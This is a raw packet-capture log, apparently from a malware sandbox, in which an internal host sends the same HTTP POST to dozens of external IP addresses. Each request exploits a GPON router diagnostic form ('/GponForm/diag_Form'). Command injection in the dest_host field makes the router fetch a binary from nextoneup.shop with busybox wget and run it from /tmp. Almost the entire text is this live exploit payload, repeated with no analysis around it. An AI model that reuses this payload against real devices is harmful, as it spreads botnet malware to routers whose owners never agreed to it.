Apr 14, 2024 03:59:56.173882961 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
476	192.168.2.23	51166	37.149.186.204	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.173929930 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
477	192.168.2.23	48624	117.121.245.17	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.173963070 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
478	192.168.2.23	32884	210.12.8.42	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.174001932 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
479	192.168.2.23	35266	123.61.229.246	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.174052000 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
480	192.168.2.23	48442	178.7.237.169	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.174084902 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
481	192.168.2.23	58908	109.41.197.1	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.174153090 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
482	192.168.2.23	41330	148.46.93.125	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.174160957 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
483	192.168.2.23	53798	178.122.222.53	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.174209118 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
484	192.168.2.23	57356	123.255.221.87	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.174258947 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
485	192.168.2.23	49382	2.42.239.35	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.174293041 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
486	192.168.2.23	37184	118.119.208.160	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.174330950 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
487	192.168.2.23	47852	37.54.77.63	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.174356937 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
488	192.168.2.23	35810	37.150.238.91	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.175065041 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
489	192.168.2.23	40364	178.41.37.113	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.175122023 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
490	192.168.2.23	42578	210.149.41.66	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.175157070 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
491	192.168.2.23	34976	2.96.83.130	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.175206900 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
492	192.168.2.23	55524	37.119.214.39	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.175208092 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
493	192.168.2.23	60082	123.225.65.90	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.175240993 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
494	192.168.2.23	35256	118.80.230.94	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.175286055 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
495	192.168.2.23	52706	202.252.182.4	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.175313950 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
496	192.168.2.23	60128	118.52.2.127	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.175358057 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
497	192.168.2.23	59310	117.216.223.192	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.175400019 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
498	192.168.2.23	53532	5.3.179.248	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.175474882 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
499	192.168.2.23	52242	202.36.224.176	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.175499916 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
500	192.168.2.23	55182	5.167.154.231	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.175530910 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
